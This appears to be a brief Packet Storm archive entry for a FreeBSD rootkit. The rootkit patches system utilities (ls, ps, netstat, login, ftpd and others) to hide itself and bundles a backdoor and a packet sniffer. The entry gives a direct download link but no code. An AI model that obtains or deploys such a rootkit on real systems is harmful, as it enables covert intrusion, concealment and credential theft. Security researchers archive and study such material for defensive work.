FreeBSD rootkit. Patches ls, du, find, locate, ps, top, strings, ifconfig, netstat, login, and ftpd. Includes backdoor sysback and sniffer zxsniff.
You can download it from the following link: https://packetstormsecurity.com/files/download/25415/fbrk1-imps.tar.gz
Source: https://packetstormsecurity.com/files/25415/fbrk1-imps.tar.gz.html